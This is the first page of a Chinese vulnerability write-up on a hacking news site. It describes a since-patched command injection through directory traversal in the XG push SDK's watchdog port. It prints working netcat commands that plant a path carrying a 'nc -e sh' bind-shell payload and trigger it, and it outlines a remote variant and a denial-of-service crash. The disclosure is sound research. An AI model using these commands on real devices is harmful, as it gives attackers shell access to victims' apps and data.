欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

一个目录穿越引发的注入及后续——XG SDK漏洞回顾与思考

来源:本站整理 作者:佚名 时间:2016-12-03 TAG: 我要投稿

一个目录穿越引发的注入及后续——XG SDK漏洞回顾与思考

APP漏洞挖掘 bydroidsec

0x00 简介

XG SDK是一个流行的Android app推送SDK,有不少流行Android app均在使用,本文分析的版本主要针对100001_work_weixin_1.0.0.apk所使用的版本。

漏洞最初在2016年4月份的时候提交给了某云网站,厂商已经确认,但由于网站持续“升级”的缘故,不太可能公开细节了。后续漏洞也已经提交给了TSRC,时至现在,相关漏洞均已经完全修复,漏洞已经不影响使用该SDK的app了,因此本文决定对相关技术细节予以分享,并补充有关该漏洞后续的一些研究。

0x01 漏洞分析

XG SDK会周期性地启动一个libtpnsWatchdog.so的可执行文件,作为看门狗保活应用,并随机在55000~56000端口监听任意地址。

 public static int getRandomPort() {
        return XGWatchdog.getRandomInt(1000) + 55000;
    }

在我们实验手机上的监听端口为55362,启动进程为com.tencent.wework lib目录下的libtpnsWatchdog.so

经过逆向分析,可发现这个开放端口支持一系列的文本命令,包括:

“ver:”,获取版本号
“debug:1”,打开调试
“xgapplist:”,获取或设置使用XGsdk的app
“tme:xxxx”,设置周期性启动服务的等待时间
”exit2:”,退出

例如,发送debug:1,可获得当前手机上使用XG的app列表及当前启动服务的等待时间等信息,可见,手机上有四个app使用了该推送sdk。

echo -n “debug:1” |nc 192.168.8.187 55362

当发送xgapplist:xxx,则可以设置当前使用XG的app。其中xxx的形式为 ,;,…

接下来会通过fopen打开/data/data//lib目录来判断指定packagename的目录是否存在,如果存在,则会在后续使用该packagename,否则提示找不到该package。

然后,程序会调用system通过am命令启动对应包内的XG组件,这里就使用了上面检查过的packagename.

注意,上述两个system函数中的参数没有进行任何过滤。那么,我们结合上述两张图来看,如果恶意app满足

能够设置一个存在且被XG Sdk可以访问的目录,

目录名中嵌入执行的代码

那么就可以实现命令注入。对于条件1,可以通过../../../../路径穿越的形式跳转到恶意app可控的目录;而对于条件2,则可以利用shell特性,在可控目录下建立猥琐的“ ||#”目录实现。

0x02 漏洞利用

(1)模拟恶意app在/sdcard目录建立一个特殊(猥琐)的目录名,除了“/“字符外,其他字符均可用。

于是我们有了了” && nc -ll -p 6666 -e sh #”的目录,并在目录下存在子目录lib

(2)通过xgapplist命令设置推送app

如图,发送命令,

echo -n "xgapplist:com.tencent.wework/../../../../../../sdcard/ && nc -ll -p 6666 -e sh #,2100078991;" | nc -vv 192.168.8.187 55362

观察logcat可以发现设置成功

(3)通过tme命令,使am命令周期性进行,进而触发后面的system函数,执行我们的反弹shell命令

echo -n "xgapplist:com.tencent.wework/../../../../../../sdcard/ && nc -ll -p 6666 -e sh #,2100078991;" | nc -vv 192.168.8.187 55362

稍等片刻,观察logcat的打印信息后,可以尝试连接shell,成功连接

u0_a113用户正好就是com.tencent.wework

下面就可以以com.tencent.wework的权限做任何事情了,比如访问私有目录、打开保护的activity、发广播等等。

0x03 漏洞是否能够远程

因为当时漏洞取名带有“远程”二字不够严谨,引发了厂商的争议。的确,从这个漏洞的成因来看,主要还是本地恶意app通过污染目录名,结合XG开放的端口,完成本地提权。但经瘦蛟舞的指点,可以考虑向受害者发送包含污染目录名的zip包(或者通过浏览器下载解压至/sdcard),然后结合XG监听端口的地址为任意地址,远程传入命令,进而实现远程命令执行,这种远程攻击相对难度较大,因为开放的端口为随机端口,攻击者也需要社工欺骗受害者接收zip包.

0x04 空指针解引用远程拒绝服务

当向XG监听端口发送xgapplist命令时,libtpnsWatchdog.so对后面的packagename和accid进行处理,但并没有检查“,”或“;“分割的字符串为空的情况,导致后面atoll函数去访问0地址的内存,造成空指针解引用crash。见如下代码:

[1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载